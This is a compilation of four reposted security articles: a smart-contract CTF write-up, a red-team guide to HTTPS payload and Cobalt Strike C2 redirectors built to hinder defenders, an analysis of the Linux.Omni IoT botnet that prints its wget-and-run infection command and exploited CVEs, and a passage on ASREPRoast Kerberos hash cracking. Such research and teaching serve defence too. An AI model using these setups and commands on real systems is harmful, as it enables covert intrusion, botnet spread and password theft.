PolySwarm Smart Contract Hacking Challenge Writeup

( Original text by raz0r )

This is a walk through for the smart contract hacking challenge organized by PolySwarm for CODE BLUE conference held in Japan on November 01–02. Although the challenge was supposed to be held on-site for whitelisted addresses only, Ben Schmidt of PolySwarm kindly shared a wallet so that I could participate in the challenge.

The target smart contract called 

CashMoney

 featured a set of honeypot tricks that were described in Ben’s talk “Smart Contract Honeypots”. A naïve attacker would call 

do_guess()

function with a number that was compared with a private variable 

current

, which could easily be revealed off-chain. However, the condition would never work as expected because of the following code:

1
2
3
4
Guess storage guess;
guess.playerNo = players[msg.sender].playerNo;
guess.time = now;
guesses.push(guess);

Solidity prior to 0.5.0 allows uninitialized storage pointers. Since the contract was compiled with solc 0.4.25, the code above would silently overwrite the first element in contract’s storage with 

players[msg.sender].playerNo

 value. As a result, variable 

current

 which is the first in the storage would be changed right before the comparison. In order to make the condition pass, one had to call 

do_guess()

 with their player number instead of 

current

 value. The contract allowed to update one’s number and name via 

updateSelf()

, which was quite handy since 

do_guess()

 had a restriction on the number range (only 0–10).

After the check succeeded it seemed that nothing could stop me to receive the prize. However, it was just the beginning of the long journey into EVM bytecode, as 

do_guess()

 reverted for unknown reason. After a short debugging session in Remix it was clear that the following line caused it:

1
2
// you win!
winnerLog.logWinner(msg.sender, players[msg.sender].playerNo, players[msg.sender].name);
CashMoney

 address on EtherScan revealed the source code of another contract called 

WinnerLog

, however 

winnerLog

 variable pointed to some other contract which had no verified source code. An attempt to verify the source code was unsuccessful which proved the assumption that 

WinnerLog

 had some different logic inside. A quick recon on 

WinnerLog

revealed a magic string 

dogecointothemoonlambosoondudes!

 in contract’s storage. The first idea was of course to use this string as a username, however 

do_guess()

 still reverted. Other variations like reversing this string or using capital letters also failed. As quick attempts happened to be ineffective, I moved to reverse engineering the contract’s bytecode. Although decompiled contract was hardly comprehensible, EtherVM provided some hints on the logic inside 

logWinner()

 function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
} else if (var0 == 0x7fd4b61a) { // logWinner()
/**/
if (msg.sender != storage[0x03] & 0x02 ** 0xa0 - 0x01) { revert(memory[0x00:0x00]); }
/**/
} else {
/**/
label_03F5:
    
var9 = var6; // var6 is magic string
    
var10 = var7 & 0x1f;
    
if (var10 >= 0x20) { assert(); }
    
var9 = byte(var9, var10) * 0x02 ** 0xf8 ~ 0x02 ** 0xf8 * 0x42;
    
var10 = var5;
    
var11 = var7 & 0xffffffff;
    
if (var11 >= memory[var10:var10 + 0x20]) { assert(); }
    
var temp35 = var10 + 0x20 + var11;
    
memory[temp35:temp35 + 0x01] = byte((memory[temp35:temp35 + 0x20] / 0x02 ** 0xf8 * 0x02 ** 0xf8 ~ var9) & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, 0x00);
    
var8 = var8;
    
var7 = var7 + 0x01;
    
if (var7 & 0xffffffff >= memory[var5:var5 + 0x20]) { goto label_0475; }
    
else { goto label_03F5; }
}

It was quite obvious that the function could be called only by 

CashMoney

 contract, and some operations were done on each byte of the magic string. Therefore I had to find such username that would satisfy some obscure conditions inside a closed-source smart contract code. Sounds like a perfect task for symbolic execution.

Manticore is a symbolic execution tool created by Trail of Bits which supports Ethereum Virtual Machine. It proved to be effective at CTFs, so I decided to give it a try.

Firstly, it was necessary to set up addresses and create the 

WinnerLog

 smart contract:

1
2
3
4
5
6
7
import
binascii
from
manticore.ethereum
import
ManticoreEVM, ABI
m
=
ManticoreEVM()
owner_account     
=
m.create_account(balance
=
1000
, name
=
'owner'
,     address
=
0xbc7ddd20d5bceb395290fd7ce3a9da8d8b485559
)
attacker_account  
=
m.create_account(balance
=
1000
, name
=
'attacker'
,  address
=
0x762C808237A69d786A85E8784Db8c143EB70B2fB
)
cashmoney_contract
=
m.create_account(balance
=
1000
, name
=
'CashMoney'
, address
=
0x64ba926175bc69ba757ef53a6d5ef616889c9999
)
winnerlog_contract
=
m.create_contract(init
=
bytecode, owner
=
owner_account, name
=
"WinnerLog"
, address
=
0x2e4d2a597a2fcbdf6cc55eb5c973e76aa19ac410
)

After that, the smart contract state had to be recreated. There was just one transaction on the mainnet, supposedly to allow 

CashMoney

 contract call 

WinnerLog

:

1
2
m.transaction(caller
=
owner_account, address
=
winnerlog_contract,
data
=
binascii.unhexlify(b
"c3e8512400000000000000000000000064ba926175bc69ba757ef53a6d5ef616889c9999"
), value
=
0
)

The next step was to create a symbolic buffer and send a transaction to call 

logWinner()

 with that symbolic buffer:

1
2
3
symbolic_data
=
m.make_symbolic_buffer(
64
)
calldata
=
ABI.function_call(
'logWinner(address,uint256,bytes)'
, attacker_account,
0
, symbolic_data)
m.transaction(caller
=
cashmoney_contract, address
=
winnerlog_contract, data
=
calldata, value
=
0
, gas
=
10000000
)

And finally my goal was to find at least a single running state, i.e. the one that finished with a 

STOP

 instead of 

REVERT

 or 

THROW

:

1
2
3
4
5
for
state
in
m.running_states:
    
world 
=
state.platform
    
result
=
state.solve_one(symbolic_data)
    
print
(
"[+] FOUND: {}"
.
format
(binascii.hexlify(result)))
    
break

After several minutes manticore successfully found a username that would not result in a reverted transaction:


After setting this sequence of bytes as my username, I successfully claimed one of the prizes. The complete solution can be found on GitHub.

HTTPS Payload and C2 Redirectors

( Original text by Jeff Dimmock )

I’ve written rather extensively about the use of redirectors and how they can strengthen your red team assessments. Since my first post on the topic, the question I’ve received most frequently is about how to do the same thing with HTTPS traffic. In this post, I will detail different HTTPS redirection methods and when to use each.

I’d like to give a shoutout to Joe Vest (@joevest) for building HTTPS command and control (C2) redirection into his cs2modrewrite tool and figuring out some of the required Apache configurations for such redirection.

Dumb Pipe Redirection

Redirectors can best be described as fitting into one of two categories: dumb pipe or filtering. As its name suggests, the “dumb pipe” redirectors blindly forward traffic from their network interface to another configured host interface. This type of redirector is useful for their quick standup, but natively lack the level of control over the incoming traffic being redirected. As such, dumb pipe redirection will buy you some time by obfuscating your C2 server’s true IP address, but it is unlikely to seriously hamper defender investigations.

Since the two methods below do not perform any conditional filtering on traffic, they can be used interchangeably for payload or C2 redirection.

iptables

Using the Linux firewall tool iptables, we can NAT any incoming traffic on a certain port to a remote host IP on a given port. This lets us take any TCP traffic over 443 (line 1 below) and redirect it to our backend server over 443 (line 2 below). Replace 

<REMOTE-HOST-IP-ADDRESS>

 with the IP address of your backend server and run the following commands with root permissions:


iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

socat

socat is an alternate tool we can use to create the same kind of traffic redirection. The one-liner below will redirect any traffic from port 443 (the left-most 443 below) to the provided remote host IP address on port 443 (right-most 443). As before, replace 

<REMOTE-HOST-IP-ADDRESS>

 with the IP address of your backend server.

By default, socat runs in the foreground. While you can run the process in the background, I recommend running socat within a screen session to make on-the-fly redirection modifications much easier.


socat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443

socat redirectors can begin to experience issues or redirector host slow-downs if you are redirecting large amounts of traffic, such as C2. If you experience those issues, try switching to iptables.

Apache mod_rewrite

While the dumb pipe redirectors are useful for a quick redirector standup, filtering redirectors provide virtually endless methods to hamper defenders from investigating your attack infrastructure. Any mature web server technology should be able to provide filtering redirection, but this blog post focuses on using Apache and its mod_rewrite module.

This section will focus on payload and C2 redirection separately because the redirectors often need to provide differing functionality based on the expected traffic. For the following examples, we will be using 

spoofdomain.com

 as the attacker domain and using Debian 9 for all servers.

First-Time Setup

This technique requires a couple one-time setup steps. The steps below include generating and using a LetsEncrypt certificate for the infrastructure. If you acquired your certificate elsewhere or are opting to use a self-signed certificate, skip those steps.

Apache and SSL Setup

To set up Apache mod_rewrite for traffic redirection, we will need to perform some first-time setup. For further detail about the initial setup than what is covered below, check out the mod_rewrite Basics section of my first mod_rewrite post.

On your redirector, run the following commands with root rights:


apt-get install apache2
a2enmod ssl rewrite proxy proxy_http
a2ensite default-ssl.conf
service apache2 restart

In the Apache2 configuration file (

/etc/apache2/apache2.conf

 by default), locate the Directory tag for your site’s directory and change None to All:


<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

The commands above will enable multiple Apache modules that we’ll be working with and enable SSL on the site, albeit with a self-signed certificate.

Generate Cert with LetsEncrypt

If you already have a certificate or wish to use a self-signed certificate, you can skip the steps in this section.

To generate our LetsEncrypt certificate on Debian:


sudo service apache2 stop
sudo apt-get install certbot
sudo certbot certonly --standalone -d spoofdomain.com -d www.spoofdomain.com

Modify the certbot command to include any additional subdomains you want protected with additional 

-d

 flags. Notice that above we specify the root domain as well as the www subdomain.

If there are no generation issues, the cert files will be saved to 

/etc/letsencrypt/live/spoofdomain.com

.

Edit the SSL site configuration (located at 

/etc/apache2/sites-enabled/default-ssl.conf

 by default) so the file paths for the SSLCertificateFile and SSLCertificateKeyFile options match the LetsEncrypt certificate components’ paths:


SSLCertificateFile      /etc/letsencrypt/live/spoofdomain.com/cert.pem
SSLCertificateKeyFile   /etc/letsencrypt/live/spoofdomain.com/privkey.pem

Also, add the following code to the same file within the VirtualHost tags:


# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

Again, thanks to Joe Vest for figuring the options above out!

We now have a basic SSL installation using a valid LetsEncrypt certificate. From here, the post will demonstrate how to serve payload files or webpages required for your pretexts and how to redirect C2 traffic.

Payload Redirection

When I’m designing an attack infrastructure, I consider any file or payload that will be publicly hosted for use during social engineering, or any other part of the attack path, to be part of payload redirection. In our setup, the redirector will proxy any valid requests to the corresponding backend server and redirect all other requests to the target’s real 404 page. The files can be hosted using either HTTP or HTTPS; the end-user will see a valid SSL connection for spoofdomain.com.

Here is what our set up will look like:

SSL Payload Redirection Diagram
SSL Payload Redirection Diagram

Notice that we are hosting the files over HTTP on the backend. We’re doing this for demonstration and ease of setup.

Once our first-time setup is complete on the host (see above) we will add the following text to the file 

/var/www/html/.htaccess

:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/404? [L,R=302]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

Notice in the above ruleset that we are using HTTP for the first RewriteRule, since we are hosting the payload.exeand landingpage.html file on the backend server using HTTP only.

Here is how the landingpage.html file will render in our victims’ browsers:

Redirected SSL Traffic to Hosted File
Redirected SSL Traffic to Hosted File

Notice that the browser shows spoofdomain.com in the URL bar, despite the file itself being hosted on another server. The backend file can be hosted either via HTTPS or HTTP; both will appear as expected in the target’s browser.

The files can also be hosted on a Cobalt Strike team server. Cobalt Strike versions 3.10 and above support hosting the social engineering attacks and files via SSL. To do this, you need to create a keystore from the SSL certificate, upload the keystore to the Cobalt Strike team server, and specify the keystore in the server’s Malleable C2 profile.

Making the keystore for Cobalt Strike:


openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypass
keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com

Add the keystore info to a Malleable C2 profile:


https-certificate {
    set keystore "spoofdomain.store";
    set password "mypass";
}

When the team server is started, it will leverage the provided keystore and enable SSL file hosting.

Command and Control Redirection

Command and Control redirection is largely similar to payload redirection, except that the htaccess file will need to allow only C2, hosted file, and stager URIs.

The C2 URIs are all specified within the team server’s Malleable C2 profile on the set uri lines. These should be allowed back to the team server using the 

%{REQUEST_URI}

 mod_rewrite variable.

Hosted files can be served by Cobalt Strike either via HTTP or HTTPS. Hosting the files via HTTPS will require the extra steps of creating the keystore and modifying the Malleable C2 profile; however, it will simplify the redirector’s htaccess file ruleset. If you opt to host the files via HTTP, ensure your redirector’s htaccess rules proxy to HTTP, rather than HTTPS.

Stager URIs will need to be redirected back to the team server if you plan to use any staged payloads during your attack path. By default, the Cobalt Strike stager URI is a random four character string. We can allow that through via a regex or, with Cobalt Strike 3.10 and newer, specify a stager URI in a Malleable C2 profile in the http-stagerblock.

Here is a ruleset that redirects that static files of payload.exe and landingpage.html to the team server over HTTP, while redirecting the C2 URIs of /legit-path-1 and /legit-path-2 and the staging uri of /stager over HTTPS:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC]
RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/404? [L,R=302]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s URI is either ‘/payload.exe’ or ‘/landingpage.html’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path over HTTP from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the request’s URI is ‘/legit-path-1’, ‘/legit-path-2’, or ‘/stager’ (with an optional trailing slash), ignoring case;
Change the entire request to serve the original request path over HTTPS from the remote host’s IP, and keep the user’s address bar the same (obscure the backend server’s IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

This is obviously a contrived example and you’ll want to set this up with a Malleable C2 profile that provides some evasion benefits, but the code above should illustrate how to mix content between HTTP and HTTPS.

For more information about Cobalt Strike C2 redirection, with some examples, check out my post Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite.

Many Redirectors to One Backend Server

SSL redirectors provide the interesting capability of protecting multiple callback domains with distinct SSL certificates. Since the certificates can be completely unique, this setup can reduce the risks of incident responders identifying C2 domains based on certificate metadata.

Here is what that setup would look like:

Using Multiple Domains with SSL Redirection
Using Multiple Domains with SSL Redirection

We set up each redirector as its own segment, following the steps detailed in the sections above. The key difference in setup is specifying the two domains in our callback popup during the Cobalt Strike listener setup. Here is what that setup looks like in Cobalt Strike:

Setting Up an HTTPS Listener to Use Multiple SSL Domains with Unique Certificates
Setting Up an HTTPS Listener to Use Multiple SSL Domains with Unique Certificates

Notice we specify phishdomain.com as the primary listener’s Host entry (for staging) and the two domains (phishdomain.com and spoofdomain.com) in the Beacons field. We also set up a foreign listener pointing to the other domain to allow us to stage over spoofdomain.com if needed. With this setup, Beacons will stage over the chosen listener’s Host field and subsequently check-in round robin over the domains specified in the Beacons field.

Forcing HTTPS

In some setups, you may want to force all traffic over HTTPS, rather than allowing mixed content. In that case, add the following lines after the RewriteEngine On line of your htaccess ruleset:

RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [L,R=301]

Here is a color-coded breakdown of what the rules are doing:

Enable the rewrite engine
If the request’s SSL status is NOT «on»,
Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user’s address bar show the redirection. Make the redirect permanent with a 301 code.

The above ruleset was taken and slightly modified from AskApache.com from here. The 

%{HTTPS}

 variable will return “on” if the request is using SSL/TLS, and will return “off” if the request is using HTTP only.

Summary

Redirectors are a critical component in covert attack infrastructure. They are used to obfuscate backend infrastructure and can be used to confuse or disorient incident responders who are investigating your setup. Redirector traffic should blend into the expected traffic on a network. Since SSL/TLS adoption is rapidly rising, you will likely run into instances when your redirectors will need to run SSL/TLS with valid certificates. This post detailed how to set that up and some powerful things you can do with SSL-enabled redirectors, such as using multiple domains with an HTTPS Cobalt Strike listener.

Update: e0x70i pointed out in the comments of my Cobalt Strike HTTP C2 Redirectors with Apache mod_rewritepost, if your Cobalt Strike Malleable C2 profile contains an Accept-Encoding header for gzip, your Apache install may compress that traffic by default and cause your Beacon to be unresponsive or function incorrectly. To overcome this, disable mod_deflate (via 

a2dismod deflate

 and add the No Encode (

[NE]

) flag to your rewrite rules. (Thank you, e0x70i!)

Resources

Analysis of Linux.Omni

( Original text by by   )

Following our classification and analysis of the Linux and IoT threats currently active, in this article we are going to investigate a malware detected very recently in our honeypots, the Linux.Omni botnet. This botnet has particularly attracted our attention due to the numerous vulnerabilities included in its repertoire of infection (11 different in total), being able to determine, finally, that it is a new version of IoTReaper.

Analysis of the binary

The first thing that strikes us is the label given to the malware at the time of infection of the device, i.e., OMNI, because these last few weeks we were detecting OWARI, TOKYO, SORA, ECCHI… all of them versions of Gafgyt or Mirai and, which do not innovate much compared to what was reported in previous articles.

So, analyzing the method of infection, we find the following instructions:

As you can see, it is a fairly standard script and, therefore, imported from another botnet. Nothing new.

Although everything indicated that the sample would be a standard variant of Mirai or Gafgyt, we carried out the sample download.

The first thing we detect is that the binary is packaged with UPX. It is not applied in most samples, but it is not uncommon to see it in some of the more widespread botnet variants.

After looking over our binary, we found that the basic structure of the binary corresponds to Mirai.

However, as soon as we explore the binary infection options, we find attack vectors that, in addition to using the default credentials for their diffusion, use vulnerabilities of IoT devices already discovered and implemented in other botnets such as IoTReaper or Okiru / Satori, including the recent one that affects GPON routers.

Let’s examine which are these vulnerabilities that Omni uses:

Vacron

Vulnerability that makes use of code injection in VACRON network video recorders in the “board.cgi” parameter, which has not been well debugged in the HTTP request parsing. We also found it in the IoTReaper botnet.

Netgear – CVE-2016-6277

Another of the vulnerabilities found in Omni is CVE-2016-6277, which describes the remote execution of code through a GET request to the “cgi-bin/” directory of vulnerable routers. These are the following:

R6400                         R7000
R7000P           R7500
R7800                         R8000
R8500                         R9000

D-Link – OS-Command Injection via UPnP

Like IoTReaper, Omni uses a vulnerability of D-link routers. However, while the first used a vulnerability in the cookie overflow, the hedwig.cgi parameter, this one uses a vulnerability through the UPnP interface.

The request is as follows:

And we can find it in the binary:

The vulnerable firmware versions are the following:

DIR-300 rev B – 2.14b01
DIR-600 – 2.16b01
DIR-645 – 1.04b01
DIR-845 – 1.01b02
DIR-865 – 1.05b03

CCTV-DVR 

Another vulnerability found in the malware is the one that affects more than 70 different manufacturers and is linked to the “/language/Swedish” resource, which allows remote code execution.

The list of vulnerable devices can be found here:

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

D-Link – HNAP

This is a vulnerability reported in 2014 and which has already been used by the malware The Moon, which allows bypassing the login through the CAPTCHA and allows an external attacker to execute remote code.

The vulnerable firmware versions on the D-Link routers are the following:

DI-524 C1 3.23
DIR-628 B2 1.20NA 1.22NA
DIR-655 A1 1.30EA

TR-069 – SOAP

This vulnerability was already exploited by the Mirai botnet in November 2016, which caused the fall of the Deutsche Telekom ISP.

The vulnerability is as follows:

We can also find it in the binary.

Huawei Router HG532 – Arbitrary Command Execution

Vulnerability detected in Huawei HG532 routers in the incorrect validation of a configuration file, which can be exploited through the modification of an HTTP request.

This vulnerability was already detected as part of the Okiru/Satori malware and analyzed in a previous article: (Analysis of Linux.Okiru)

Netgear – Setup.cgi RCE

Vulnerability that affects the DGN1000 1.1.00.48 firmware of Netgear routers, which allows remote code execution without prior authentication.

Realtek SDK

Different devices use the Realtek SDK with the miniigd daemon vulnerable to the injection of commands through the UPnP SOAP interface. This vulnerability, like the one mentioned above for Huawei HG532 routers, can already be found in samples of the Okiru/Satori botnet.

GPON

Finally, we found the latest vulnerability this past month, which affects GPON routers and is already incorporated to both IoT botnets and miners that affect Linux servers.

On the other hand, the botnet also makes use of diffusion through the default credentials (the way our honeypot system was infected), although these are encoded with an XOR key different from the 0x33 (usual in the base form) where each of the combinations has been encoded with a different key.

Infrastructure analysis

Despite the variety of attack vectors, the commands executed on the device are the same:

cd /tmp;rm -rf *;wget http://%s/{marcaDispositivo};sh /tmp/{marcaDispositivo}

The downloaded file is a bash script, which downloads the sample according to the architecture of the infected device.

As we can see, this exploit does not correspond with the analyzed sample, but is only dedicated to the search of devices with potentially vulnerable HTTP interfaces, as well as the vulnerability check of the default credentials, thus obtaining two types of infections, the one that uses the 11 previously mentioned vulnerabilities and the one that only reports the existence of exposed HTTP services or default credentials in potential targets.

Therefore, the architecture is very similar to the one found previously in the IoTReaper botnet.

Behind Omni

Investigating the references in the binaries we find the IP address 213.183.53 [.] 120, which is referenced as a download server for the samples. Despite not finding a directory listing available (in other variants it is quite common to find it), in the root directory we find a “Discord” platform, which is (officially) a text and voice chat for the gamer audience.

So, since it didn’t require any permissions or special invitation, we decided to choose a megahacker name, and enter the chat.

Once inside, we observed that the general theme of the chat is not video games, but a platform for the sale of botnet services.

After a couple of minutes in the room, it follows that the person behind the infrastructure is the user Scarface, who has decided to make some very cool advertising posters (and according to the aesthetics of the film of the same name).

In addition, it also offers support, as well as requests from potential consumers seeking evidence that their botnet is capable of achieving a traffic volume of 60 Gbps.

We can find some rather curious behaviors that denote the unprofessional nature of this group of cybercriminals, for example how Scarface shows the benefit it has gained from the botnet (and how ridiculous the amount) or how they fear that any of those who have entered the chat are cops.

So, we can determine that the Linux.Omni malware is an updated version of the IoTReaper malware, which uses the same network architecture format, besides importing, practically, all the Mirai source code.

Attached is the Yara rule for detecting the Linux.Omni malware:

IoC

213.183.53[.]120
21aa9c42b42e95c98e52157fd63f36c289c29a7b7a3824f4f70486236a2985ff
4cf7e64c3b9c1ad5fa57d0d0bbdeb930defcdf737fda9639955be1e78b06ded6
6dfd411f2558e533728bfb04dd013049dd765d61e3c774788e3beca404e0fd73
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
5ad981aefed712909294af47bce51be12524f4b547a63d7faaa40d3260e73235
31a2779c91846e37ad88e9803cbad8f8931e3229e88037f1d27437141ecbd164
528344fd220eff87b7494ca94caed6eae7886d8003ad37154fdb7048029e880b
cfca058a4d0a29b3da285a5df21b14c360fb3291dff3c941659fe27f3738ba3e
2b32375864d0849e676536b916465a1fbb754bbdf783421948023467d364fb4c
700c9b51e6f8750a20fcc7019207112690974dcda687a83626716d8233923c17
feb362167c9251dd877a0d76d3b42b68fcd334181946523ca808382852f48b7d
ca6bc4e4c490999f97ee3fd1db41373fc0ba114dce2e88c538998d19a6f694da
fc4cfc6300e3122ef9bbe6da3634d3b9839e833e4fc2cea8f1498623398af015
0fd93aeb2af3541daa152d9aff8388c89211b99d46ead1220c539fa178543bca
02a61e1d80b1f25d161de8821a31cd710987772668ce62c8be6d9afabe932712
377a49403cef46902e77ff323fcc9a8f74ea041743ccdbff41de3c063367c99a
812aa39075027b21671e5a628513378c598aef0feb57d0f5d837375c73ade8e8
c9caccd707504634185ee2a94302e3964fb6747963e7020dffa34de85bd4d2ce
a159c7b5d2c38071eb11f5e28b26f7d8beaf6f0f19a8c704687f26bfa9958d78
5eb7801551ee15baec5ef06b0265d0d0cc8488f16763517344bb8456a2831b82
2f1d0794d24b7b4f164ebce5bdde6fccd57cdbf91ea90ec2f628caf7fd991ce4

(N.d.E.: Original post in Spanish)

Roasting AS-REPs

( Original text  by )

Last November, I published a post titled “Kerberoasting Without Mimikatz” that detailed new developments with PowerView and Tim Medin‘s Kerberoasting attack. This started me down the path of looking at Kerberos just a bit more closely. Then a few weeks ago, my coworker Lee Christensen found an interesting presentation from Geoff Janjua of Exumbra Operations titled “Kerberos Party Tricks: Weaponizing Kerberos Protocol Flaws“, slides and toolkit located here. One of the interesting points that Geoff mentioned, and that his Python-based “Party Trick” toolkit executes, was abusing user accounts that don’t require Kerberos preauthentication.

I recently dove much deeper into this topic and wanted to share what I was able to learn and develop. This post will give some detailed background on the aspect of Kerberos we’re abusing, what the precise issue is, how to easily enumerate accounts that don’t need preauth, how to extract crackable hashes in these situations, and finally how to crack these retrieved hashes efficiently. There is also an associated PowerShell toolkit, ASREPRoast, that is now live on GitHub.

tl;dr – if you can enumerate any accounts in a Windows domain that don’t require Kerberos preauthentication, you can now easily request a piece of encrypted information for said accounts and efficiently crack the material offline, revealing the user’s password.

Note: this isn’t anything revolutionary, and obviously isn’t as useful as Kerberoasting, as accounts have to have DONT_REQ_PREAUTH explicitly set for them to be vulnerable – you’re still reliant upon weak password complexity for the attack to work. However, this setting still exists on someaccounts in some environments, we’re just not sure as to the frequency as it’s not something we normally looked for before. Our guess is that it’s likely enabled for older accounts, specifically Unix-related ones. If you happen to find it “in the wild”, we’d love to hear from you 😉 (@harmj0y or will [at] harmj0y.net).

[Edit] if you have GenericWrite/GenericAll rights over a target user, you can maliciously modify their userAccountControl to not require preauth, use ASREPRoast, and then reset the value 😉

Background

I’m not going to go through all aspects of Kerberos, as people like Sean Metcalf have already done a great job of this. If terms like AS-REQ and AS-REP are completely foreign to you, I would recommend reading Sean’s post for some basic background first. The aspect we care for the purposes of this post is something called Kerberos preauthentication.

Under normal operations in a Windows Kerberos environment, when you initiate a TGT request for a given user (Kerberos AS-REQ, message type 10) you have to supply a timestamp encrypted with that user’s key/password. This structure is PA-ENC-TIMESTAMP and is embedded in PA-DATA (preauthorization data) of the AS-REQ – both of these structure are described in detail on page 60 of RFC4120 and were introduced in Kerberos Version 5. The KDC then decrypts the timestamp to verify if the subject making the AS-REQ really is that user, and then returns the AS-REP and continues with normal authentication procedures.

Note: the KDC does increase the badpwdcount attribute for any incorrect PA-ENC-TIMESTAMP attempts, so we can’t use this as a method to online brute-force account passwords 🙁

The reason for Kerberos preauthentication is to prevent offline password guessing. While the AS-REP ticket itself is encrypted with the service key (in this case the krbtgt hash) the AS-REP “encrypted part” is signed with the client key, i.e. the key of the user we send an AS-REQ for. If preauthentication isn’t enabled, an attacker can send an AS-REQ for any user that doesn’t have preauth required and receive a bit of encrypted material back that can be cracked offline to reveal the target user’s password.

This is something that has been known for a long time, after all, it’s the reason preauth was implemented in Kerberos! In modern Windows environments, all user accounts require Kerberos preauthentication, but interestingly enough, by default Windows attempts the AS-REQ/AS-REP exchange without preauthentication first, falling back to supplying the encrypted timestamp on the second submission:

I have no idea why this behavior happens ¯\_(ツ)_/¯

[Edit] @munmap pointed out on Twitter that this behavior is due to the client not knowing the supported ETYPES ahead of time, something explicitly detailed in section 2.2 of RFC6113.

However, Windows offers a way to manually disable this protection for specific accounts through a useraccountcontrol modification:

If you’re already an authenticated (but otherwise unprivileged) user, you can easily enumerate what users in the domain have this setting with the LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304)PowerView‘s Get-DomainUser already has this implemented with the -PreauthNotRequired parameter:

So now we know what the issue is and how to identify vulnerable users. While people have executed brute-forcing of the AS-REQ’s PA-ENC-TIMESTAMP component of Kerberos exchanges for well over a decade (the hash format is even in Hashcat, -m 7500/ ‘Kerberos 5 AS-REQ Pre-Auth’) the only toolset I’ve seen that attacks RC4 AS-REPs is Geoff’s Python toolkit. We wanted something that was Windows based that also didn’t need administrative privileges on a machine to allow us flexibility in our attack workflow. We also wanted a faster way to crack these hashes.

ASREPRoast

My first hope was to find something in .NET that exposed the raw bytes of the AS-REP similar to the Kerberoasting approach. I spent a while searching for any .NET method that would allow access to the raw byte response of the AS-REP and unfortunately came up short. Though I can’t say definitively if this is impossible, my gut feeling is that it’s likely an abstraction level too deep for us to access easily through .NET. Even if there was, we would still have one complication, as modern Windows Kerberos environments default to the the AES256-CTS-HMAC-SHA1-96 encryption in the AS-REP instead of the much quicker ARCFOUR-HMAC-MD5/RC4 approach. RC4-HMAC is significantly quicker to crack, so we prefer it if possible.

The approach I ended up taking was to construct the AS-REQ by hand in order to control the necessary parameters, and parsing the KDC’s AS-REP response in order to determine success/failure and extract the encrypted material. Here was another roadblock- Kerberos uses ASN.1 encoding for its structures, something that .NET does not have built in encoders or decoders for. Luckily, there is an open source C# version of the Bouncy Castle crypto library that features, among many, many other things, robust capability for ASN.1 encoding and decoding.

Unfortunately, I don’t have time to give a full ASN.1 tutorial, but I will share a few pointers that helped me while developing this tool. The specifications we care about for the AS-REQ are laid out on page 55 of RFC1510 and page 74 of RFC4120Benjamin Delpy also documents all these ASN.1 structures amazingly in his Kekeo project. Here’s the structure description:

Another thing that helped me a lot was to Wireshark legitimate Kerberos exchanges, export the Kerberos packet bytes, and visualize the data using this JavaScript ASN.1 decoder:

This particularly helped during the next part, which was learning how to use Bouncy Castle through PowerShell to construct a proper ASN.1 encoded AS-REQ. But after a few struggles with tagging and finding the correct data structures, I came up with New-ASReq, which takes a user/domain name, builds the properly nested components, and returns the raw bytes for the request.

And because we’re building this by hand, we can include or omit anything we want. So we can include just the ARCFOUR-HMAC-MD5 etype instead of all supported encryption etypes. This type and its use in Windows Kerberos auth is explained in detail in RFC4757. What’s especially nice is that section 3 includes the message types for different uses of the algorithm. While the AS-REP ticket uses type 2 like a TGS-REP ticket (i.e. kerberoasting) this component of the response is encrypted with the service key, which in this case is the krbtgt hash and therefore not crackable. However, the AS-REP encrypted part, which is the section we can essentially ‘downgrade’ to RC4-HMAC, is the same algorithm but of message type 8. This will come into play later during the cracking section.

